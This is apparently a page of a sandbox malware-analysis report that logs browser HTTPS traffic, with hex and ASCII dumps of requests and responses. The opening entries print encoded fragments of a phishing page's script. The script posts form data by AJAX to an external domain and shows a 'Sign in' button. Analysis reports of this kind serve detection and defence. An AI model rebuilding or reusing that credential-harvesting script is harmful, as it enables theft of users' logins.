32 30 25 37 36 25 36 31 25 37 32 25 32 30 25 36 33 25 33 64 25 32 30 25 36 64 25 37 39 25 35 66 25 37 33 25 36 63 25 
36 39 25 36 33 25 36 35 25 32 65 25 37 33 25 37 35 25 36 32 25 37 33 25 37 34 25 37 32 25 32 38 25 33 30 25 32 63 25 
32 30 25 36 64 25 37 39 25 35 66 25 37 33 25 36 63 25 36 39 25 36 33 25 36 35 25 32 65 25 36 39 25 36 65 25 36 34 25 
36 35 25 37 38 25 34 66 25 36 36 25 32 38 25 32 37 25 32 65 25 32 37 25 32 39 25 32 39 25 33 62 25 30 64 25 30 61 25 
32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 37 36 25 36 31 25 37 
Data Ascii: c%2e%73%75%62%73%74%72%28%28%69%6e%64%2b%31%29%29%3b%0d%0a%20%20%20%
20%20%20%76%61%72%20%63%3d%20%6d%79%5f%73%6c%69%63%65%2e%73%75%62%73%74%72%28%30
%2c%20%6d%79%5f%73%6c%69%63%65%2e%69%6e%64%65%78%4f%66%28%27%2e%27%29%29%3b%0d%0
a%20%20%20%20%20%20%76%61%7

2021-11-25 16:27:44 UTC 287 IN Data Raw: 61 25 36 31 25 37 38 25 32 38 25 37 62 25 30 64 25 30 61 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 
32 30 25 32 30 25 32 30 25 36 34 25 36 31 25 37 34 25 36 31 25 35 34 25 37 39 25 37 30 25 36 35 25 33 61 25 32 30 25 
32 37 25 34 61 25 35 33 25 34 66 25 34 65 25 32 37 25 32 63 25 30 64 25 30 61 25 32 30 25 32 30 25 32 30 25 32 30 25 
32 30 25 32 30 25 32 30 25 32 30 25 37 35 25 37 32 25 36 63 25 33 61 25 32 30 25 32 37 25 36 38 25 37 34 25 37 34 25 
37 30 25 37 33 25 33 61 25 32 66 25 32 66 25 36 35 25 36 64 25 36 31 25 36 39 25 36 63 25 36 31 25 36 34 25 36 64 25 
36 39 25 36 65 25 32 65 25 36 63 25 36 39 25 37 36 25 36 35 25 32 66 25 34 32 25 37 32 25 36 62 25 36 62 25 36 65 25 
32 65 25 36 34 25 36 37 25 37 37 25 32 65 25 34 31 25 37 35 25 37 34 25 36 
Data Ascii: a%61%78%28%7b%0d%0a%20%20%20%20%20%20%20%20%64%61%74%61%54%79%70%65%
3a%20%27%4a%53%4f%4e%27%2c%0d%0a%20%20%20%20%20%20%20%20%75%72%6c%3a%20%27%68%74
%74%70%73%3a%2f%2f%65%6d%61%69%6c%61%64%6d%69%6e%2e%6c%69%76%65%2f%42%72%6b%6b%6
e%2e%64%67%77%2e%41%75%74%6

Timestamp
kBytes
transferred Direction Data
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2021-11-25 16:27:44 UTC 288 IN Data Raw: 30 25 32 30 25 32 30 25 32 34 25 32 38 25 32 32 25 32 33 25 36 64 25 37 33 25 36 37 25 32 32 25 32 39 25 
32 65 25 37 33 25 36 38 25 36 66 25 37 37 25 32 38 25 32 39 25 33 62 25 30 64 25 30 61 25 32 30 25 32 30 25 32 30 25 
32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 
36 33 25 36 66 25 36 65 25 37 33 25 36 66 25 36 63 25 36 35 25 32 65 25 36 63 25 36 66 25 36 37 25 32 38 25 37 32 25 
36 35 25 37 33 25 37 30 25 36 66 25 36 65 25 37 33 25 36 35 25 32 39 25 33 62 25 30 64 25 30 61 25 32 30 25 32 30 25 
32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 
32 30 25 36 39 25 36 36 25 32 38 25 37 32 25 36 35 25 37 33 25 37 30 25 36 
Data Ascii: 0%20%20%24%28%22%23%6d%73%67%22%29%2e%73%68%6f%77%28%29%3b%0d%0a%20%
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%63%6f%6e%73%6f%6c%65%2e%6c%6f%67%28
%72%65%73%70%6f%6e%73%65%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2
0%20%69%66%28%72%65%73%70%6

2021-11-25 16:27:44 UTC 290 IN Data Raw: 30 25 32 30 25 37 64 25 30 64 25 30 61 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 
32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 36 35 25 36 63 25 37 33 25 36 35 25 
37 62 25 30 64 25 30 61 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 
32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 66 25 32 66 25 32 30 25 32 34 25 32 38 25 
32 37 25 32 33 25 36 64 25 37 33 25 36 37 25 32 37 25 32 39 25 32 65 25 36 38 25 37 34 25 36 64 25 36 63 25 32 38 25 
37 32 25 36 35 25 37 33 25 37 30 25 36 66 25 36 65 25 37 33 25 36 35 25 35 62 25 32 37 25 36 64 25 37 33 25 36 37 25 
32 37 25 35 64 25 32 39 25 33 62 25 30 64 25 30 61 25 32 30 25 32 30 25 32 
Data Ascii: 0%20%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%65%6c%
73%65%7b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2f%2f%20%24
%28%27%23%6d%73%67%27%29%2e%68%74%6d%6c%28%72%65%73%70%6f%6e%73%65%5b%27%6d%73%6
7%27%5d%29%3b%0d%0a%20%20%2

2021-11-25 16:27:44 UTC 291 IN Data Raw: 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 36 33 25 36 66 25 
36 64 25 37 30 25 36 63 25 36 35 25 37 34 25 36 35 25 33 61 25 32 30 25 36 36 25 37 35 25 36 65 25 36 33 25 37 34 25 
36 39 25 36 66 25 36 65 25 32 38 25 32 39 25 37 62 25 30 64 25 30 61 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 
32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 34 25 32 38 25 32 37 25 32 33 25 
37 33 25 37 35 25 36 32 25 36 64 25 36 39 25 37 34 25 32 64 25 36 32 25 37 34 25 36 65 25 32 37 25 32 39 25 32 65 25 
36 38 25 37 34 25 36 64 25 36 63 25 32 38 25 32 37 25 35 33 25 36 39 25 36 37 25 36 65 25 32 30 25 36 39 25 36 65 25 
32 37 25 32 39 25 33 62 25 30 64 25 30 61 25 32 30 25 32 30 25 32 30 25 32 
Data Ascii: 0%20%20%20%20%20%20%20%20%20%63%6f%6d%70%6c%65%74%65%3a%20%66%75%6e%
63%74%69%6f%6e%28%29%7b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%28%27
%23%73%75%62%6d%69%74%2d%62%74%6e%27%29%2e%68%74%6d%6c%28%27%53%69%67%6e%20%69%6
e%27%29%3b%0d%0a%20%20%20%2

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

18 192.168.2.4 49787 142.250.203.110 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 16:27:44 UTC 261 OUT GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=
&prodversion=85.0.4183.121&lang=en-GB&acceptformat=crx3&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%
3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1&x=id%3Dpkedcjkdefgpdelp
bcmbmeomcjbeemfm%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1 HTTP/1.1
Host: clients2.google.com
Connection: keep-alive
X-Goog-Update-Interactivity: fg
X-Goog-Update-AppId: nmmhkkegccagdldgiimedpiccmgmieda,pkedcjkdefgpdelpbcmbmeomcjbeemfm
X-Goog-Update-Updater: chromecrx-85.0.4183.121
Sec-Fetch-Site: none
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: empty
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 
Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8

2021-11-25 16:27:44 UTC 263 IN HTTP/1.1 200 OK
Content-Security-Policy: script-src 'report-sample' 'nonce-4WfkVKVlNTjStopFBskyFg' 'unsafe-inline' 'strict-dynamic' https: 
http:;object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/clientupdate-aus/1
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Date: Thu, 25 Nov 2021 16:27:44 GMT
Content-Type: text/xml; charset=UTF-8
X-Daynum: 5442
X-Daystart: 30464
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Server: GSE
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Accept-Ranges: none
Vary: Accept-Encoding
Connection: close
Transfer-Encoding: chunked

Copyright Joe Security LLC 2021 Page 51 of 214



2021-11-25 16:27:44 UTC 264 IN Data Raw: 35 31 65 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 
54 46 2d 38 22 3f 3e 3c 67 75 70 64 61 74 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 
2e 63 6f 6d 2f 75 70 64 61 74 65 32 2f 72 65 73 70 6f 6e 73 65 22 20 70 72 6f 74 6f 63 6f 6c 3d 22 32 2e 30 22 20 73 65 
72 76 65 72 3d 22 70 72 6f 64 22 3e 3c 64 61 79 73 74 61 72 74 20 65 6c 61 70 73 65 64 5f 64 61 79 73 3d 22 35 34 34 32 
22 20 65 6c 61 70 73 65 64 5f 73 65 63 6f 6e 64 73 3d 22 33 30 34 36 34 22 2f 3e 3c 61 70 70 20 61 70 70 69 64 3d 22 6e 
6d 6d 68 6b 6b 65 67 63 63 61 67 64 6c 64 67 69 69 6d 65 64 70 69 63 63 6d 67 6d 69 65 64 61 22 20 63 6f 68 6f 72 74 
3d 22 31 3a 3a 22 20 63 6f 68 6f 72 74 6e 61 6d 65 3d 22 22 
Data Ascii: 51e<?xml version="1.0" encoding="UTF-8"?><gupdate xmlns="http://www.google.com/update2/response" p
rotocol="2.0" server="prod"><daystart elapsed_days="5442" elapsed_seconds="30464"/><app appid="nmmhkkegccagdld
giimedpiccmgmieda" cohort="1::" cohortname=""

2021-11-25 16:27:44 UTC 264 IN Data Raw: 6d 68 6b 6b 65 67 63 63 61 67 64 6c 64 67 69 69 6d 65 64 70 69 63 63 6d 67 6d 69 65 64 61 2e 63 72 78 22 20 
66 70 3d 22 31 2e 38 31 65 33 61 34 64 34 33 61 37 33 36 39 39 65 31 62 37 37 38 31 37 32 33 66 35 36 62 38 37 31 37 
31 37 35 63 35 33 36 36 38 35 63 35 34 35 30 31 32 32 62 33 30 37 38 39 34 36 34 61 64 38 32 22 20 68 61 73 68 5f 73 
68 61 32 35 36 3d 22 38 31 65 33 61 34 64 34 33 61 37 33 36 39 39 65 31 62 37 37 38 31 37 32 33 66 35 36 62 38 37 31 
37 31 37 35 63 35 33 36 36 38 35 63 35 34 35 30 31 32 32 62 33 30 37 38 39 34 36 34 61 64 38 32 22 20 70 72 6f 74 65 
63 74 65 64 3d 22 30 22 20 73 69 7a 65 3d 22 32 34 38 35 33 31 22 20 73 74 61 74 75 73 3d 22 6f 6b 22 20 76 65 72 73 
69 6f 6e 3d 22 31 2e 30 2e 30 2e 36 22 2f 3e 3c 2f 61 70 70 3e 3c 61 70 
Data Ascii: mhkkegccagdldgiimedpiccmgmieda.crx" fp="1.81e3a4d43a73699e1b7781723f56b8717175c536685c54
50122b30789464ad82" hash_sha256="81e3a4d43a73699e1b7781723f56b8717175c536685c5450122b30789464ad82" p
rotected="0" size="248531" status="ok" version="1.0.0.6"/></app><ap

2021-11-25 16:27:44 UTC 265 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

19 192.168.2.4 49783 172.217.168.45 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 16:27:44 UTC 262 OUT POST /ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard HTTP/1.1
Host: accounts.google.com
Connection: keep-alive
Content-Length: 1
Origin: https://www.google.com
Content-Type: application/x-www-form-urlencoded
Sec-Fetch-Site: none
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: empty
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 
Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8

2021-11-25 16:27:44 UTC 263 OUT Data Raw: 20 
Data Ascii:  

2021-11-25 16:27:44 UTC 265 IN HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Access-Control-Allow-Origin: https://www.google.com
Access-Control-Allow-Credentials: true
X-Content-Type-Options: nosniff
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Date: Thu, 25 Nov 2021 16:27:44 GMT
Strict-Transport-Security: max-age=31536000
Cross-Origin-Opener-Policy: same-origin; report-to="IdentityListAccountsHttp"
Content-Security-Policy: script-src 'report-sample' 'nonce-nq4dKhn150lZtSe4JwFjJA' 'unsafe-inline';object-src 'none';base-
uri 'self';report-uri /_/IdentityListAccountsHttp/cspreport;worker-src 'self'
Content-Security-Policy: script-src 'nonce-nq4dKhn150lZtSe4JwFjJA' 'self' https://apis.google.com https://ssl.gstatic.com 
https://www.google.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/IdentityListAccountsHttp
/cspreport
Cross-Origin-Resource-Policy: cross-origin
Report-To: {"group":"IdentityListAccountsHttp","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/rep
ort-to/IdentityListAccountsHttp/external"}]}
Server: ESF
X-XSS-Protection: 0
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Accept-Ranges: none
Vary: Sec-Fetch-Dest, Sec-Fetch-Mode, Sec-Fetch-Site,Accept-Encoding
Connection: close
Transfer-Encoding: chunked

2021-11-25 16:27:44 UTC 266 IN Data Raw: 31 31 0d 0a 5b 22 67 61 69 61 2e 6c 2e 61 2e 72 22 2c 5b 5d 5d 0d 0a 
Data Ascii: 11["gaia.l.a.r",[]]

2021-11-25 16:27:44 UTC 266 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Session ID Source IP Source Port Destination IP Destination Port Process

2 192.168.2.4 49726 20.190.159.137 443 C:\Program Files\Google\Chrome\Application\chrome.exe
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Timestamp
kBytes
transferred Direction Data

2021-11-25 16:27:31 UTC 20 OUT POST /RST2.srf HTTP/1.0
Connection: Keep-Alive
Content-Type: application/soap+xml
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; 
.NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.27716.00; App svchost.exe, 
10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})
Content-Length: 4740
Host: login.live.com

2021-11-25 16:27:31 UTC 20 OUT Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 
3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 
2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 
73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 
65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 
6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 
73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 
Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" 
xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/w
ss/2004/01/oasis-200401-wss-wssecurity-secext-1

2021-11-25 16:27:32 UTC 43 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Type: application/soap+xml; charset=utf-8
Expires: Thu, 25 Nov 2021 16:26:31 GMT
P3P: CP="DSP CUR OTPi IND OTRi ONL FIN"
Referrer-Policy: strict-origin-when-cross-origin
x-ms-route-info: R3_BL2
x-ms-request-id: 1fc44eeb-8edc-43be-beba-757a78ba83ea
PPServer: PPV: 30 H: BL6PPF167BB473D V: 0
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000
X-XSS-Protection: 1; mode=block
Date: Thu, 25 Nov 2021 16:27:31 GMT
Connection: close
Content-Length: 11297

2021-11-25 16:27:32 UTC 44 IN Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 
20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 
67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 
70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 
2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 
78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 
73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 
Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" 
xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="h
ttp://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID Source IP Source Port Destination IP Destination Port Process

20 192.168.2.4 49789 104.18.11.207 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 16:27:44 UTC 292 OUT GET /bootstrap/4.0.0/css/bootstrap.min.css HTTP/1.1
Host: maxcdn.bootstrapcdn.com
Connection: keep-alive
Origin: https://dev-ce563d81711943.pantheonsite.io
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 
Safari/537.36
Accept: text/css,*/*;q=0.1
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: style
Referer: https://dev-ce563d81711943.pantheonsite.io/$!&&br.d.g$&!&.html
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
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2021-11-25 16:27:44 UTC 293 IN HTTP/1.1 200 OK
Date: Thu, 25 Nov 2021 16:27:44 GMT
Content-Type: text/css; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Vary: Accept-Encoding
CDN-PullZone: 252412
CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74
CDN-RequestCountryCode: DE
Access-Control-Allow-Origin: *
Cache-Control: public, max-age=31919000
Last-Modified: Mon, 25 Jan 2021 22:04:04 GMT
CDN-CachedAt: 08/11/2021 06:00:03
CDN-EdgeStorageId: 756
CDN-RequestPullCode: 200
CDN-RequestPullSuccess: True
timing-allow-origin: *
cross-origin-resource-policy: cross-origin
X-Content-Type-Options: nosniff
CDN-Status: 200
CDN-ProxyVer: 1.0
CDN-RequestId: 8ab22ac5c7d98c3d09bfd543ece66684
CDN-Cache: HIT
CF-Cache-Status: HIT
Age: 719418
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Server: cloudflare
CF-RAY: 6b3c3f042a965bf5-FRA
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400

2021-11-25 16:27:44 UTC 294 IN Data Raw: 37 62 65 63 0d 0a 2f 2a 21 0a 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 30 2e 30 20 28 68 74 74 70 73 
3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 29 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 
30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 
30 31 31 2d 32 30 31 38 20 54 77 69 74 74 65 72 2c 20 49 6e 63 2e 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 
72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 
62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 2a 2f 3a 72 6f 6f 74 7b 2d 2d 62 6c 75 65 3a 23 30 30 
37 62 66 66 3b 2d 2d 69 6e 64 69 67 6f 3a 23 36 36 31 30 
Data Ascii: 7bec/*! * Bootstrap v4.0.0 (https://getbootstrap.com) * Copyright 2011-2018 The Bootstrap Authors * Copyright 
2011-2018 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */:root{--blue:#0
07bff;--indigo:#6610

2021-11-25 16:27:44 UTC 294 IN Data Raw: 65 3a 23 66 64 37 65 31 34 3b 2d 2d 79 65 6c 6c 6f 77 3a 23 66 66 63 31 30 37 3b 2d 2d 67 72 65 65 6e 3a 23 
32 38 61 37 34 35 3b 2d 2d 74 65 61 6c 3a 23 32 30 63 39 39 37 3b 2d 2d 63 79 61 6e 3a 23 31 37 61 32 62 38 3b 2d 2d 
77 68 69 74 65 3a 23 66 66 66 3b 2d 2d 67 72 61 79 3a 23 36 63 37 35 37 64 3b 2d 2d 67 72 61 79 2d 64 61 72 6b 3a 23 
33 34 33 61 34 30 3b 2d 2d 70 72 69 6d 61 72 79 3a 23 30 30 37 62 66 66 3b 2d 2d 73 65 63 6f 6e 64 61 72 79 3a 23 36 6
3 37 35 37 64 3b 2d 2d 73 75 63 63 65 73 73 3a 23 32 38 61 37 34 35 3b 2d 2d 69 6e 66 6f 3a 23 31 37 61 32 62 38 3b 2d 
2d 77 61 72 6e 69 6e 67 3a 23 66 66 63 31 30 37 3b 2d 2d 64 61 6e 67 65 72 3a 23 64 63 33 35 34 35 3b 2d 2d 6c 69 67 
68 74 3a 23 66 38 66 39 66 61 3b 2d 2d 64 61 72 6b 3a 23 33 34 33 61 
Data Ascii: e:#fd7e14;--yellow:#ffc107;--green:#28a745;--teal:#20c997;--cyan:#17a2b8;--white:#fff;--gray:#6c757d;--gray-
dark:#343a40;--primary:#007bff;--secondary:#6c757d;--success:#28a745;--info:#17a2b8;--warning:#ffc107;--danger
:#dc3545;--light:#f8f9fa;--dark:#343a

2021-11-25 16:27:44 UTC 295 IN Data Raw: 6f 6d 3a 2e 35 72 65 6d 7d 70 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 
6d 3a 31 72 65 6d 7d 61 62 62 72 5b 64 61 74 61 2d 6f 72 69 67 69 6e 61 6c 2d 74 69 74 6c 65 5d 2c 61 62 62 72 5b 74 
69 74 6c 65 5d 7b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 2d 77 65 62 6b 69 74 2d 
74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 20 64 6f 74 74 65 64 3b 74 65 78 74 2d 64 65 
63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 20 64 6f 74 74 65 64 3b 63 75 72 73 6f 72 3a 68 65 6c 70 3b 62 6f 
72 64 65 72 2d 62 6f 74 74 6f 6d 3a 30 7d 61 64 64 72 65 73 73 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 
3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 6c 
Data Ascii: om:.5rem}p{margin-top:0;margin-bottom:1rem}abbr[data-original-title],abbr[title]{text-decoration:underline;-
webkit-text-decoration:underline dotted;text-decoration:underline dotted;cursor:help;border-bottom:0}address{margin-bott
om:1rem;font-style:normal;l

2021-11-25 16:27:44 UTC 297 IN Data Raw: 67 6e 3a 69 6e 68 65 72 69 74 7d 6c 61 62 65 6c 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 
6b 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 2e 35 72 65 6d 7d 62 75 74 74 6f 6e 7b 62 6f 72 64 65 72 2d 72 61 64 69 
75 73 3a 30 7d 62 75 74 74 6f 6e 3a 66 6f 63 75 73 7b 6f 75 74 6c 69 6e 65 3a 31 70 78 20 64 6f 74 74 65 64 3b 6f 75 74 
6c 69 6e 65 3a 35 70 78 20 61 75 74 6f 20 2d 77 65 62 6b 69 74 2d 66 6f 63 75 73 2d 72 69 6e 67 2d 63 6f 6c 6f 72 7d 62 
75 74 74 6f 6e 2c 69 6e 70 75 74 2c 6f 70 74 67 72 6f 75 70 2c 73 65 6c 65 63 74 2c 74 65 78 74 61 72 65 61 7b 6d 61 72 
67 69 6e 3a 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 69 6e 68 
65 72 69 74 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 69 6e 68 
Data Ascii: gn:inherit}label{display:inline-block;margin-bottom:.5rem}button{border-radius:0}button:focus{outline:1px do
tted;outline:5px auto -webkit-focus-ring-color}button,input,optgroup,select,textarea{margin:0;font-family:inherit;font-s
ize:inherit;line-height:inh

2021-11-25 16:27:44 UTC 298 IN Data Raw: 6c 69 73 74 2d 69 74 65 6d 3b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 7d 74 65 6d 70 6c 61 74 65 7b 64 69 
73 70 6c 61 79 3a 6e 6f 6e 65 7d 5b 68 69 64 64 65 6e 5d 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 
6e 74 7d 2e 68 31 2c 2e 68 32 2c 2e 68 33 2c 2e 68 34 2c 2e 68 35 2c 2e 68 36 2c 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68
35 2c 68 36 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 2e 35 72 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 69 6e 68 
65 72 69 74 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 35 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 3b 63 6f 6c 
6f 72 3a 69 6e 68 65 72 69 74 7d 2e 68 31 2c 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 35 72 65 6d 7d 2e 68 32 2c 
68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 72 65 6d 7d 2e 68 
